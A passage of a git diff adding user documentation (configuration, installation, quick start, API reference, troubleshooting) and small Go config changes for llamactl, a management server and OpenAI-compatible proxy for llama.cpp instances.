+  logs_dir: ~/.local/share/llamactl/logs    # Logs directory
+  auto_create_dirs: true         # Auto-create data/config/logs dirs if missing
+  max_instances: -1              # Max instances (-1 = unlimited)
+  max_running_instances: -1      # Max running instances (-1 = unlimited)
+  enable_lru_eviction: true      # Enable LRU eviction for idle instances
+  llama_executable: llama-server # Path to llama-server executable
+  default_auto_restart: true     # Auto-restart new instances by default
+  default_max_restarts: 3        # Max restarts for new instances
+  default_restart_delay: 5       # Restart delay (seconds) for new instances
+  default_on_demand_start: true  # Default on-demand start setting
+  on_demand_start_timeout: 120   # Default on-demand start timeout in seconds
+  timeout_check_interval: 5      # Idle instance timeout check in minutes
+
+auth:
+  require_inference_auth: true   # Require auth for inference endpoints
+  inference_keys: []             # Keys for inference endpoints
+  require_management_auth: true  # Require auth for management endpoints
+  management_keys: []            # Keys for management endpoints
+```
+
+## Configuration Files
+
+### Configuration File Locations
+
+Configuration files are searched in the following locations (in order of precedence):
+
+**Linux:**  
+- `./llamactl.yaml` or `./config.yaml` (current directory)  
+- `$HOME/.config/llamactl/config.yaml`  
+- `/etc/llamactl/config.yaml`  
+
+**macOS:**  
+- `./llamactl.yaml` or `./config.yaml` (current directory)  
+- `$HOME/Library/Application Support/llamactl/config.yaml`  
+- `/Library/Application Support/llamactl/config.yaml`  
+
+**Windows:**  
+- `./llamactl.yaml` or `./config.yaml` (current directory)  
+- `%APPDATA%\llamactl\config.yaml`  
+- `%USERPROFILE%\llamactl\config.yaml`  
+- `%PROGRAMDATA%\llamactl\config.yaml`  
+
+You can specify the path to config file with `LLAMACTL_CONFIG_PATH` environment variable.
+
+## Configuration Options
+
+### Server Configuration
+
+```yaml
+server:
+  host: "0.0.0.0"         # Server host to bind to (default: "0.0.0.0")
+  port: 8080              # Server port to bind to (default: 8080)
+  allowed_origins: ["*"]  # CORS allowed origins (default: ["*"])
+  enable_swagger: false   # Enable Swagger UI (default: false)
+```
+
+**Environment Variables:**  
+- `LLAMACTL_HOST` - Server host  
+- `LLAMACTL_PORT` - Server port  
+- `LLAMACTL_ALLOWED_ORIGINS` - Comma-separated CORS origins  
+- `LLAMACTL_ENABLE_SWAGGER` - Enable Swagger UI (true/false)  
+
+### Instance Configuration
+
+```yaml
+instances:
+  port_range: [8000, 9000]                          # Port range for instances (default: [8000, 9000])
+  data_dir: "~/.local/share/llamactl"               # Directory for all llamactl data (default varies by OS)
+  configs_dir: "~/.local/share/llamactl/instances"  # Directory for instance configs (default: data_dir/instances)
+  logs_dir: "~/.local/share/llamactl/logs"          # Directory for instance logs (default: data_dir/logs)
+  auto_create_dirs: true                            # Automatically create data/config/logs directories (default: true)
+  max_instances: -1                                 # Maximum instances (-1 = unlimited)
+  max_running_instances: -1                         # Maximum running instances (-1 = unlimited)
+  enable_lru_eviction: true                         # Enable LRU eviction for idle instances
+  llama_executable: "llama-server"                  # Path to llama-server executable
+  default_auto_restart: true                        # Default auto-restart setting
+  default_max_restarts: 3                           # Default maximum restart attempts
+  default_restart_delay: 5                          # Default restart delay in seconds
+  default_on_demand_start: true                     # Default on-demand start setting
+  on_demand_start_timeout: 120                      # Default on-demand start timeout in seconds
+  timeout_check_interval: 5                         # Default instance timeout check interval in minutes
+```
+
+**Environment Variables:**  
+- `LLAMACTL_INSTANCE_PORT_RANGE` - Port range (format: "8000-9000" or "8000,9000")  
+- `LLAMACTL_DATA_DIRECTORY` - Data directory path  
+- `LLAMACTL_INSTANCES_DIR` - Instance configs directory path  
+- `LLAMACTL_LOGS_DIR` - Log directory path  
+- `LLAMACTL_AUTO_CREATE_DATA_DIR` - Auto-create data/config/logs directories (true/false)  
+- `LLAMACTL_MAX_INSTANCES` - Maximum number of instances  
+- `LLAMACTL_MAX_RUNNING_INSTANCES` - Maximum number of running instances  
+- `LLAMACTL_ENABLE_LRU_EVICTION` - Enable LRU eviction for idle instances  
+- `LLAMACTL_LLAMA_EXECUTABLE` - Path to llama-server executable  
+- `LLAMACTL_DEFAULT_AUTO_RESTART` - Default auto-restart setting (true/false)  
+- `LLAMACTL_DEFAULT_MAX_RESTARTS` - Default maximum restarts  
+- `LLAMACTL_DEFAULT_RESTART_DELAY` - Default restart delay in seconds  
+- `LLAMACTL_DEFAULT_ON_DEMAND_START` - Default on-demand start setting (true/false)  
+- `LLAMACTL_ON_DEMAND_START_TIMEOUT` - Default on-demand start timeout in seconds  
+- `LLAMACTL_TIMEOUT_CHECK_INTERVAL` - Default instance timeout check interval in minutes  
+
+### Authentication Configuration
+
+```yaml
+auth:
+  require_inference_auth: true           # Require API key for OpenAI endpoints (default: true)
+  inference_keys: []                     # List of valid inference API keys
+  require_management_auth: true          # Require API key for management endpoints (default: true)
+  management_keys: []                    # List of valid management API keys
+```
+
+**Environment Variables:**  
+- `LLAMACTL_REQUIRE_INFERENCE_AUTH` - Require auth for OpenAI endpoints (true/false)  
+- `LLAMACTL_INFERENCE_KEYS` - Comma-separated inference API keys  
+- `LLAMACTL_REQUIRE_MANAGEMENT_AUTH` - Require auth for management endpoints (true/false)  
+- `LLAMACTL_MANAGEMENT_KEYS` - Comma-separated management API keys  
+
+## Command Line Options
+
+View all available command line options:
+
+```bash
+llamactl --help
+```
+
+You can also override configuration using command line flags when starting llamactl.

docs/getting-started/installation.md

@@ -0,0 +1,70 @@
+# Installation
+
+This guide will walk you through installing Llamactl on your system.
+
+## Prerequisites
+
+You need `llama-server` from [llama.cpp](https://github.com/ggml-org/llama.cpp) installed:
+
+
+**Quick install methods:**
+
+```bash
+# Homebrew (macOS/Linux)
+brew install llama.cpp
+# Winget (Windows)
+winget install llama.cpp
+```
+
+Or build from source - see llama.cpp docs
+
+## Installation Methods
+
+### Option 1: Download Binary (Recommended)
+
+Download the latest release from the [GitHub releases page](https://github.com/lordmathis/llamactl/releases):
+
+```bash
+# Linux/macOS - Get latest version and download
+LATEST_VERSION=$(curl -s https://api.github.com/repos/lordmathis/llamactl/releases/latest | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/')
+curl -L https://github.com/lordmathis/llamactl/releases/download/${LATEST_VERSION}/llamactl-${LATEST_VERSION}-$(uname -s | tr '[:upper:]' '[:lower:]')-$(uname -m).tar.gz | tar -xz
+sudo mv llamactl /usr/local/bin/
+
+# Or download manually from:
+# https://github.com/lordmathis/llamactl/releases/latest
+
+# Windows - Download from releases page
+```
+
+### Option 2: Build from Source
+
+Requirements:
+- Go 1.24 or later
+- Node.js 22 or later
+- Git
+
+If you prefer to build from source:
+
+```bash
+# Clone the repository
+git clone https://github.com/lordmathis/llamactl.git
+cd llamactl
+
+# Build the web UI
+cd webui && npm ci && npm run build && cd ..
+
+# Build the application
+go build -o llamactl ./cmd/server
+```
+
+## Verification
+
+Verify your installation by checking the version:
+
+```bash
+llamactl --version
+```
+
+## Next Steps
+
+Now that Llamactl is installed, continue to the [Quick Start](quick-start.md) guide to get your first instance running!

docs/getting-started/quick-start.md

@@ -0,0 +1,143 @@
+# Quick Start
+
+This guide will help you get Llamactl up and running in just a few minutes.
+
+## Step 1: Start Llamactl
+
+Start the Llamactl server:
+
+```bash
+llamactl
+```
+
+By default, Llamactl will start on `http://localhost:8080`.
+
+## Step 2: Access the Web UI
+
+Open your web browser and navigate to:
+
+```
+http://localhost:8080
+```
+
+Login with the management API key. By default it is generated during server startup. Copy it from the terminal output.
+
+You should see the Llamactl web interface.
+
+## Step 3: Create Your First Instance
+
+1. Click the "Add Instance" button
+2. Fill in the instance configuration:
+   - **Name**: Give your instance a descriptive name
+   - **Model Path**: Path to your Llama.cpp model file
+   - **Additional Options**: Any extra Llama.cpp parameters
+
+3. Click "Create Instance"
+
+## Step 4: Start Your Instance
+
+Once created, you can:
+
+- **Start** the instance by clicking the start button
+- **Monitor** its status in real-time
+- **View logs** by clicking the logs button
+- **Stop** the instance when needed
+
+## Example Configuration
+
+Here's a basic example configuration for a Llama 2 model:
+
+```json
+{
+  "name": "llama2-7b",
+  "model_path": "/path/to/llama-2-7b-chat.gguf",
+  "options": {
+    "threads": 4,
+    "context_size": 2048
+  }
+}
+```
+
+## Using the API
+
+You can also manage instances via the REST API:
+
+```bash
+# List all instances
+curl http://localhost:8080/api/instances
+
+# Create a new instance
+curl -X POST http://localhost:8080/api/instances \
+  -H "Content-Type: application/json" \
+  -d '{
+    "name": "my-model",
+    "model_path": "/path/to/model.gguf",
+  }'
+
+# Start an instance
+curl -X POST http://localhost:8080/api/instances/my-model/start
+```
+
+## OpenAI Compatible API
+
+Llamactl provides OpenAI-compatible endpoints, making it easy to integrate with existing OpenAI client libraries and tools.
+
+### Chat Completions
+
+Once you have an instance running, you can use it with the OpenAI-compatible chat completions endpoint:
+
+```bash
+curl -X POST http://localhost:8080/v1/chat/completions \
+  -H "Content-Type: application/json" \
+  -d '{
+    "model": "my-model",
+    "messages": [
+      {
+        "role": "user",
+        "content": "Hello! Can you help me write a Python function?"
+      }
+    ],
+    "max_tokens": 150,
+    "temperature": 0.7
+  }'
+```
+
+### Using with Python OpenAI Client
+
+You can also use the official OpenAI Python client:
+
+```python
+from openai import OpenAI
+
+# Point the client to your Llamactl server
+client = OpenAI(
+    base_url="http://localhost:8080/v1",
+    api_key="not-needed"  # Llamactl doesn't require API keys by default
+)
+
+# Create a chat completion
+response = client.chat.completions.create(
+    model="my-model",  # Use the name of your instance
+    messages=[
+        {"role": "user", "content": "Explain quantum computing in simple terms"}
+    ],
+    max_tokens=200,
+    temperature=0.7
+)
+
+print(response.choices[0].message.content)
+```
+
+### List Available Models
+
+Get a list of running instances (models) in OpenAI-compatible format:
+
+```bash
+curl http://localhost:8080/v1/models
+```
+
+## Next Steps
+
+- Manage instances [Managing Instances](../user-guide/managing-instances.md)
+- Explore the [API Reference](../user-guide/api-reference.md)
+- Configure advanced settings in the [Configuration](configuration.md) guide

docs/index.md

@@ -0,0 +1,41 @@
+# Llamactl Documentation
+
+Welcome to the Llamactl documentation! **Management server and proxy for multiple llama.cpp instances with OpenAI-compatible API routing.**
+
+![Dashboard Screenshot](images/dashboard.png)
+
+## What is Llamactl?
+
+Llamactl is designed to simplify the deployment and management of llama-server instances. It provides a modern solution for running multiple large language models with centralized management.
+
+## Features
+
+🚀 **Multiple Model Serving**: Run different models simultaneously (7B for speed, 70B for quality)  
+🔗 **OpenAI API Compatible**: Drop-in replacement - route requests by model name  
+🌐 **Web Dashboard**: Modern React UI for visual management (unlike CLI-only tools)  
+🔐 **API Key Authentication**: Separate keys for management vs inference access  
+📊 **Instance Monitoring**: Health checks, auto-restart, log management  
+⚡ **Smart Resource Management**: Idle timeout, LRU eviction, and configurable instance limits  
+💡 **On-Demand Instance Start**: Automatically launch instances upon receiving OpenAI-compatible API requests  
+💾 **State Persistence**: Ensure instances remain intact across server restarts  
+
+## Quick Links
+
+- [Installation Guide](getting-started/installation.md) - Get Llamactl up and running
+- [Configuration Guide](getting-started/configuration.md) - Detailed configuration options
+- [Quick Start](getting-started/quick-start.md) - Your first steps with Llamactl
+- [Managing Instances](user-guide/managing-instances.md) - Instance lifecycle management
+- [API Reference](user-guide/api-reference.md) - Complete API documentation
+
+
+## Getting Help
+
+If you need help or have questions:
+
+- Check the [Troubleshooting](user-guide/troubleshooting.md) guide
+- Visit the [GitHub repository](https://github.com/lordmathis/llamactl)
+- Review the [Configuration Guide](getting-started/configuration.md) for advanced settings
+
+## License
+
+MIT License - see the [LICENSE](https://github.com/lordmathis/llamactl/blob/main/LICENSE) file.

docs/user-guide/api-reference.md

@@ -0,0 +1,412 @@
+# API Reference
+
+Complete reference for the Llamactl REST API.
+
+## Base URL
+
+All API endpoints are relative to the base URL:
+
+```
+http://localhost:8080/api/v1
+```
+
+## Authentication
+
+Llamactl supports API key authentication. If authentication is enabled, include the API key in the Authorization header:
+
+```bash
+curl -H "Authorization: Bearer <your-api-key>" \
+  http://localhost:8080/api/v1/instances
+```
+
+The server supports two types of API keys:
+- **Management API Keys**: Required for instance management operations (CRUD operations on instances)
+- **Inference API Keys**: Required for OpenAI-compatible inference endpoints
+
+## System Endpoints
+
+### Get Llamactl Version
+
+Get the version information of the llamactl server.
+
+```http
+GET /api/v1/version
+```
+
+**Response:**
+```
+Version: 1.0.0
+Commit: abc123
+Build Time: 2024-01-15T10:00:00Z
+```
+
+### Get Llama Server Help
+
+Get help text for the llama-server command.
+
+```http
+GET /api/v1/server/help
+```
+
+**Response:** Plain text help output from `llama-server --help`
+
+### Get Llama Server Version
+
+Get version information of the llama-server binary.
+
+```http
+GET /api/v1/server/version
+```
+
+**Response:** Plain text version output from `llama-server --version`
+
+### List Available Devices
+
+List available devices for llama-server.
+
+```http
+GET /api/v1/server/devices
+```
+
+**Response:** Plain text device list from `llama-server --list-devices`
+
+## Instances
+
+### List All Instances
+
+Get a list of all instances.
+
+```http
+GET /api/v1/instances
+```
+
+**Response:**
+```json
+[
+  {
+    "name": "llama2-7b",
+    "status": "running",
+    "created": 1705312200
+  }
+]
+```
+
+### Get Instance Details
+
+Get detailed information about a specific instance.
+
+```http
+GET /api/v1/instances/{name}
+```
+
+**Response:**
+```json
+{
+  "name": "llama2-7b",
+  "status": "running",
+  "created": 1705312200
+}
+```
+
+### Create Instance
+
+Create and start a new instance.
+
+```http
+POST /api/v1/instances/{name}
+```
+
+**Request Body:** JSON object with instance configuration. See [Managing Instances](managing-instances.md) for available configuration options.
+
+**Response:**
+```json
+{
+  "name": "llama2-7b",
+  "status": "running",
+  "created": 1705312200
+}
+```
+
+### Update Instance
+
+Update an existing instance configuration. See [Managing Instances](managing-instances.md) for available configuration options.
+
+```http
+PUT /api/v1/instances/{name}
+```
+
+**Request Body:** JSON object with configuration fields to update.
+
+**Response:**
+```json
+{
+  "name": "llama2-7b",
+  "status": "running",
+  "created": 1705312200
+}
+```
+
+### Delete Instance
+
+Stop and remove an instance.
+
+```http
+DELETE /api/v1/instances/{name}
+```
+
+**Response:** `204 No Content`
+
+## Instance Operations
+
+### Start Instance
+
+Start a stopped instance.
+
+```http
+POST /api/v1/instances/{name}/start
+```
+
+**Response:**
+```json
+{
+  "name": "llama2-7b",
+  "status": "starting",
+  "created": 1705312200
+}
+```
+
+**Error Responses:**
+- `409 Conflict`: Maximum number of running instances reached
+- `500 Internal Server Error`: Failed to start instance
+
+### Stop Instance
+
+Stop a running instance.
+
+```http
+POST /api/v1/instances/{name}/stop
+```
+
+**Response:**
+```json
+{
+  "name": "llama2-7b",
+  "status": "stopping",
+  "created": 1705312200
+}
+```
+
+### Restart Instance
+
+Restart an instance (stop then start).
+
+```http
+POST /api/v1/instances/{name}/restart
+```
+
+**Response:**
+```json
+{
+  "name": "llama2-7b",
+  "status": "restarting",
+  "created": 1705312200
+}
+```
+
+### Get Instance Logs
+
+Retrieve instance logs.
+
+```http
+GET /api/v1/instances/{name}/logs
+```
+
+**Query Parameters:**
+- `lines`: Number of lines to return (default: all lines, use -1 for all)
+
+**Response:** Plain text log output
+
+**Example:**
+```bash
+curl "http://localhost:8080/api/v1/instances/my-instance/logs?lines=100"
+```
+
+### Proxy to Instance
+
+Proxy HTTP requests directly to the llama-server instance.
+
+```http
+GET /api/v1/instances/{name}/proxy/*
+POST /api/v1/instances/{name}/proxy/*
+```
+
+This endpoint forwards all requests to the underlying llama-server instance running on its configured port. The proxy strips the `/api/v1/instances/{name}/proxy` prefix and forwards the remaining path to the instance.
+
+**Example - Check Instance Health:**
+```bash
+curl -H "Authorization: Bearer your-api-key" \
+  http://localhost:8080/api/v1/instances/my-model/proxy/health
+```
+
+This forwards the request to `http://instance-host:instance-port/health` on the actual llama-server instance.
+
+**Error Responses:**
+- `503 Service Unavailable`: Instance is not running
+
+## OpenAI-Compatible API
+
+Llamactl provides OpenAI-compatible endpoints for inference operations.
+
+### List Models
+
+List all instances in OpenAI-compatible format.
+
+```http
+GET /v1/models
+```
+
+**Response:**
+```json
+{
+  "object": "list",
+  "data": [
+    {
+      "id": "llama2-7b",
+      "object": "model",
+      "created": 1705312200,
+      "owned_by": "llamactl"
+    }
+  ]
+}
+```
+
+### Chat Completions, Completions, Embeddings
+
+All OpenAI-compatible inference endpoints are available:
+
+```http
+POST /v1/chat/completions
+POST /v1/completions
+POST /v1/embeddings
+POST /v1/rerank
+POST /v1/reranking
+```
+
+**Request Body:** Standard OpenAI format with `model` field specifying the instance name
+
+**Example:**
+```json
+{
+  "model": "llama2-7b",
+  "messages": [
+    {
+      "role": "user",
+      "content": "Hello, how are you?"
+    }
+  ]
+}
+```
+
+The server routes requests to the appropriate instance based on the `model` field in the request body. Instances with on-demand starting enabled will be automatically started if not running. For configuration details, see [Managing Instances](managing-instances.md).
+
+**Error Responses:**
+- `400 Bad Request`: Invalid request body or missing model name
+- `503 Service Unavailable`: Instance is not running and on-demand start is disabled
+- `409 Conflict`: Cannot start instance due to maximum instances limit
+
+## Instance Status Values
+
+Instances can have the following status values:  
+- `stopped`: Instance is not running  
+- `running`: Instance is running and ready to accept requests  
+- `failed`: Instance failed to start or crashed  
+
+## Error Responses
+
+All endpoints may return error responses in the following format:
+
+```json
+{
+  "error": "Error message description"
+}
+```
+
+### Common HTTP Status Codes
+
+- `200`: Success
+- `201`: Created
+- `204`: No Content (successful deletion)
+- `400`: Bad Request (invalid parameters or request body)
+- `401`: Unauthorized (missing or invalid API key)
+- `403`: Forbidden (insufficient permissions)
+- `404`: Not Found (instance not found)
+- `409`: Conflict (instance already exists, max instances reached)
+- `500`: Internal Server Error
+- `503`: Service Unavailable (instance not running)
+
+## Examples
+
+### Complete Instance Lifecycle
+
+```bash
+# Create and start instance
+curl -X POST http://localhost:8080/api/v1/instances/my-model \
+  -H "Content-Type: application/json" \
+  -H "Authorization: Bearer your-api-key" \
+  -d '{
+    "model": "/models/llama-2-7b.gguf"
+  }'
+
+# Check instance status
+curl -H "Authorization: Bearer your-api-key" \
+  http://localhost:8080/api/v1/instances/my-model
+
+# Get instance logs
+curl -H "Authorization: Bearer your-api-key" \
+  "http://localhost:8080/api/v1/instances/my-model/logs?lines=50"
+
+# Use OpenAI-compatible chat completions
+curl -X POST http://localhost:8080/v1/chat/completions \
+  -H "Content-Type: application/json" \
+  -H "Authorization: Bearer your-inference-api-key" \
+  -d '{
+    "model": "my-model",
+    "messages": [
+      {"role": "user", "content": "Hello!"}
+    ],
+    "max_tokens": 100
+  }'
+
+# Stop instance
+curl -X POST -H "Authorization: Bearer your-api-key" \
+  http://localhost:8080/api/v1/instances/my-model/stop
+
+# Delete instance
+curl -X DELETE -H "Authorization: Bearer your-api-key" \
+  http://localhost:8080/api/v1/instances/my-model
+```
+
+### Using the Proxy Endpoint
+
+You can also directly proxy requests to the llama-server instance:
+
+```bash
+# Direct proxy to instance (bypasses OpenAI compatibility layer)
+curl -X POST http://localhost:8080/api/v1/instances/my-model/proxy/completion \
+  -H "Content-Type: application/json" \
+  -H "Authorization: Bearer your-api-key" \
+  -d '{
+    "prompt": "Hello, world!",
+    "n_predict": 50
+  }'
+```
+
+## Swagger Documentation
+
+If swagger documentation is enabled in the server configuration, you can access the interactive API documentation at:
+
+```
+http://localhost:8080/swagger/
+```
+
+This provides a complete interactive interface for testing all API endpoints.

docs/user-guide/managing-instances.md

@@ -0,0 +1,190 @@
+# Managing Instances
+
+Learn how to effectively manage your Llama.cpp instances with Llamactl through both the Web UI and API.
+
+## Overview
+
+Llamactl provides two ways to manage instances:
+
+- **Web UI**: Accessible at `http://localhost:8080` with an intuitive dashboard
+- **REST API**: Programmatic access for automation and integration
+
+![Dashboard Screenshot](../images/dashboard.png)
+
+### Authentication
+
+If authentication is enabled:
+1. Navigate to the web UI
+2. Enter your credentials
+3. Bearer token is stored for the session
+
+### Theme Support
+
+- Switch between light and dark themes
+- Setting is remembered across sessions
+
+## Instance Cards
+
+Each instance is displayed as a card showing:
+
+- **Instance name**
+- **Health status badge** (unknown, ready, error, failed)
+- **Action buttons** (start, stop, edit, logs, delete)
+
+## Create Instance
+
+### Via Web UI
+
+![Create Instance Screenshot](../images/create_instance.png)
+
+1. Click the **"Create Instance"** button on the dashboard
+2. Enter a unique **Name** for your instance (only required field)
+3. Configure model source (choose one):
+    - **Model Path**: Full path to your downloaded GGUF model file
+    - **HuggingFace Repo**: Repository name (e.g., `unsloth/gemma-3-27b-it-GGUF`)
+    - **HuggingFace File**: Specific file within the repo (optional, uses default if not specified)
+4. Configure optional instance management settings:
+    - **Auto Restart**: Automatically restart instance on failure
+    - **Max Restarts**: Maximum number of restart attempts
+    - **Restart Delay**: Delay in seconds between restart attempts
+    - **On Demand Start**: Start instance when receiving a request to the OpenAI compatible endpoint
+    - **Idle Timeout**: Minutes before stopping idle instance (set to 0 to disable)
+5. Configure optional llama-server backend options:
+    - **Threads**: Number of CPU threads to use
+    - **Context Size**: Context window size (ctx_size)
+    - **GPU Layers**: Number of layers to offload to GPU
+    - **Port**: Network port (auto-assigned by llamactl if not specified)
+    - **Additional Parameters**: Any other llama-server command line options (see [llama-server documentation](https://github.com/ggerganov/llama.cpp/blob/master/examples/server/README.md))
+6. Click **"Create"** to save the instance  
+
+### Via API
+
+```bash
+# Create instance with local model file
+curl -X POST http://localhost:8080/api/instances/my-instance \
+  -H "Content-Type: application/json" \
+  -d '{
+    "backend_type": "llama_cpp",
+    "backend_options": {
+      "model": "/path/to/model.gguf",
+      "threads": 8,
+      "ctx_size": 4096
+    }
+  }'
+
+# Create instance with HuggingFace model
+curl -X POST http://localhost:8080/api/instances/gemma-3-27b \
+  -H "Content-Type: application/json" \
+  -d '{
+    "backend_type": "llama_cpp",
+    "backend_options": {
+      "hf_repo": "unsloth/gemma-3-27b-it-GGUF",
+      "hf_file": "gemma-3-27b-it-GGUF.gguf",
+      "gpu_layers": 32
+    },
+    "auto_restart": true,
+    "max_restarts": 3
+  }'
+```
+
+## Start Instance
+
+### Via Web UI
+1. Click the **"Start"** button on an instance card
+2. Watch the status change to "Unknown"
+3. Monitor progress in the logs
+4. Instance status changes to "Ready" when ready
+
+### Via API
+```bash
+curl -X POST http://localhost:8080/api/instances/{name}/start
+```
+
+## Stop Instance
+
+### Via Web UI
+1. Click the **"Stop"** button on an instance card
+2. Instance gracefully shuts down
+
+### Via API
+```bash
+curl -X POST http://localhost:8080/api/instances/{name}/stop
+```
+
+## Edit Instance
+
+### Via Web UI
+1. Click the **"Edit"** button on an instance card
+2. Modify settings in the configuration dialog
+3. Changes require instance restart to take effect
+4. Click **"Update & Restart"** to apply changes
+
+### Via API
+Modify instance settings:
+
+```bash
+curl -X PUT http://localhost:8080/api/instances/{name} \
+  -H "Content-Type: application/json" \
+  -d '{
+    "backend_options": {
+      "threads": 8,
+      "context_size": 4096
+    }
+  }'
+```
+
+!!! note
+    Configuration changes require restarting the instance to take effect.
+
+
+## View Logs
+
+### Via Web UI
+
+1. Click the **"Logs"** button on any instance card
+2. Real-time log viewer opens
+
+### Via API
+Check instance status in real-time:
+
+```bash
+# Get instance details
+curl http://localhost:8080/api/instances/{name}/logs
+```
+
+## Delete Instance
+
+### Via Web UI
+1. Click the **"Delete"** button on an instance card
+2. Only stopped instances can be deleted
+3. Confirm deletion in the dialog
+
+### Via API
+```bash
+curl -X DELETE http://localhost:8080/api/instances/{name}
+```
+
+## Instance Proxy
+
+Llamactl proxies all requests to the underlying llama-server instances.
+
+```bash
+# Get instance details
+curl http://localhost:8080/api/instances/{name}/proxy/
+```
+
+Check llama-server [docs](https://github.com/ggml-org/llama.cpp/blob/master/tools/server/README.md) for more information.
+
+### Instance Health
+
+#### Via Web UI
+
+1. The health status badge is displayed on each instance card
+
+#### Via API
+
+Check the health status of your instances:
+
+```bash
+curl http://localhost:8080/api/instances/{name}/proxy/health
+```

docs/user-guide/troubleshooting.md

@@ -0,0 +1,160 @@
+# Troubleshooting
+
+Issues specific to Llamactl deployment and operation.
+
+## Configuration Issues
+
+### Invalid Configuration
+
+**Problem:** Invalid configuration preventing startup
+
+**Solutions:**
+1. Use minimal configuration:
+   ```yaml
+   server:
+     host: "0.0.0.0"
+     port: 8080
+   instances:
+     port_range: [8000, 9000]
+   ```
+
+2. Check data directory permissions:
+   ```bash
+   # Ensure data directory is writable (default: ~/.local/share/llamactl)
+   mkdir -p ~/.local/share/llamactl/{instances,logs}
+   ```
+
+## Instance Management Issues
+
+### Model Loading Failures
+
+**Problem:** Instance fails to start with model loading errors
+
+**Common Solutions:**  
+- **llama-server not found:** Ensure `llama-server` binary is in PATH  
+- **Wrong model format:** Ensure model is in GGUF format  
+- **Insufficient memory:** Use smaller model or reduce context size  
+- **Path issues:** Use absolute paths to model files  
+
+### Memory Issues
+
+**Problem:** Out of memory errors or system becomes unresponsive
+
+**Solutions:**
+1. **Reduce context size:**
+   ```json
+   {
+     "n_ctx": 1024
+   }
+   ```
+
+2. **Use quantized models:**  
+   - Try Q4_K_M instead of higher precision models  
+   - Use smaller model variants (7B instead of 13B)  
+
+### GPU Configuration
+
+**Problem:** GPU not being used effectively
+
+**Solutions:**
+1. **Configure GPU layers:**
+   ```json
+   {
+     "n_gpu_layers": 35
+   }
+   ```
+
+### Advanced Instance Issues
+
+**Problem:** Complex model loading, performance, or compatibility issues
+
+Since llamactl uses `llama-server` under the hood, many instance-related issues are actually llama.cpp issues. For advanced troubleshooting:
+
+**Resources:**  
+- **llama.cpp Documentation:** [https://github.com/ggml/llama.cpp](https://github.com/ggml/llama.cpp)  
+- **llama.cpp Issues:** [https://github.com/ggml/llama.cpp/issues](https://github.com/ggml/llama.cpp/issues)  
+- **llama.cpp Discussions:** [https://github.com/ggml/llama.cpp/discussions](https://github.com/ggml/llama.cpp/discussions)  
+
+**Testing directly with llama-server:**  
+```bash
+# Test your model and parameters directly with llama-server
+llama-server --model /path/to/model.gguf --port 8081 --n-gpu-layers 35
+```
+
+This helps determine if the issue is with llamactl or with the underlying llama.cpp/llama-server.
+
+## API and Network Issues
+
+### CORS Errors
+
+**Problem:** Web UI shows CORS errors in browser console
+
+**Solutions:**
+1. **Configure allowed origins:**
+   ```yaml
+   server:
+     allowed_origins:
+       - "http://localhost:3000"
+       - "https://yourdomain.com"
+   ```
+
+## Authentication Issues
+
+**Problem:** API requests failing with authentication errors
+
+**Solutions:**
+1. **Disable authentication temporarily:**
+   ```yaml
+   auth:
+     require_management_auth: false
+     require_inference_auth: false
+   ```
+
+2. **Configure API keys:**
+   ```yaml
+   auth:
+     management_keys:
+       - "your-management-key"
+     inference_keys:
+       - "your-inference-key"
+   ```
+
+3. **Use correct Authorization header:**
+   ```bash
+   curl -H "Authorization: Bearer your-api-key" \
+     http://localhost:8080/api/v1/instances
+   ```
+
+## Debugging and Logs
+
+### Viewing Instance Logs
+
+```bash
+# Get instance logs via API
+curl http://localhost:8080/api/v1/instances/{name}/logs
+
+# Or check log files directly
+tail -f ~/.local/share/llamactl/logs/{instance-name}.log
+```
+
+### Enable Debug Logging
+
+```bash
+export LLAMACTL_LOG_LEVEL=debug
+llamactl
+```
+
+## Getting Help
+
+When reporting issues, include:
+
+1. **System information:**
+   ```bash
+   llamactl --version
+   ```
+
+2. **Configuration file** (remove sensitive keys)
+
+3. **Relevant log output**
+
+4. **Steps to reproduce the issue**

mkdocs.yml

@@ -0,0 +1,68 @@
+site_name: Llamatl Documentation
+site_description: User documentation for Llamatl - A management tool for Llama.cpp instances
+site_author: Llamatl Team
+site_url: https://llamactl.org
+
+repo_name: lordmathis/llamactl
+repo_url: https://github.com/lordmathis/llamactl
+
+theme:
+  name: material
+  palette:
+    # Palette toggle for light mode
+    - scheme: default
+      primary: indigo
+      accent: indigo
+      toggle:
+        icon: material/brightness-7
+        name: Switch to dark mode
+    # Palette toggle for dark mode
+    - scheme: slate
+      primary: indigo
+      accent: indigo
+      toggle:
+        icon: material/brightness-4
+        name: Switch to light mode
+  features:
+    - navigation.tabs
+    - navigation.sections
+    - navigation.expand
+    - navigation.top
+    - search.highlight
+    - search.share
+    - content.code.copy
+
+markdown_extensions:
+  - pymdownx.highlight:
+      anchor_linenums: true
+  - pymdownx.inlinehilite
+  - pymdownx.snippets
+  - pymdownx.superfences
+  - admonition
+  - pymdownx.details
+  - pymdownx.tabbed:
+      alternate_style: true
+  - attr_list
+  - md_in_html
+  - toc:
+      permalink: true
+
+nav:
+  - Home: index.md
+  - Getting Started:
+    - Installation: getting-started/installation.md
+    - Quick Start: getting-started/quick-start.md
+    - Configuration: getting-started/configuration.md
+  - User Guide:
+    - Managing Instances: user-guide/managing-instances.md
+    - API Reference: user-guide/api-reference.md
+    - Troubleshooting: user-guide/troubleshooting.md
+
+plugins:
+  - search
+  - git-revision-date-localized
+
+extra:
+  social:
+    - icon: fontawesome/brands/github
+      link: https://github.com/lordmathis/llamactl

pkg/backends/backend.go

@@ -0,0 +1,7 @@
+package backends
+
+type BackendType string
+
+const (
+	BackendTypeLlamaCpp BackendType = "llama_cpp"
+)

pkg/config/config.go

@@ -15,6 +15,9 @@ type AppConfig struct {
 	Server     ServerConfig    `yaml:"server"`
 	Instances  InstancesConfig `yaml:"instances"`
 	Auth       AuthConfig      `yaml:"auth"`
+	Version    string          `yaml:"-"`
+	CommitHash string          `yaml:"-"`
+	BuildTime  string          `yaml:"-"`
 }
 
 // ServerConfig contains HTTP server configuration
@@ -52,6 +55,12 @@ type InstancesConfig struct {
 	// Maximum number of instances that can be created
 	MaxInstances int `yaml:"max_instances"`
 
+	// Maximum number of instances that can be running at the same time
+	MaxRunningInstances int `yaml:"max_running_instances,omitempty"`
+
+	// Enable LRU eviction for instance logs
+	EnableLRUEviction bool `yaml:"enable_lru_eviction"`
+
 	// Path to llama-server executable
 	LlamaExecutable string `yaml:"llama_executable"`
 
@@ -63,6 +72,15 @@ type InstancesConfig struct {
 
 	// Default restart delay for new instances (in seconds)
 	DefaultRestartDelay int `yaml:"default_restart_delay"`
+
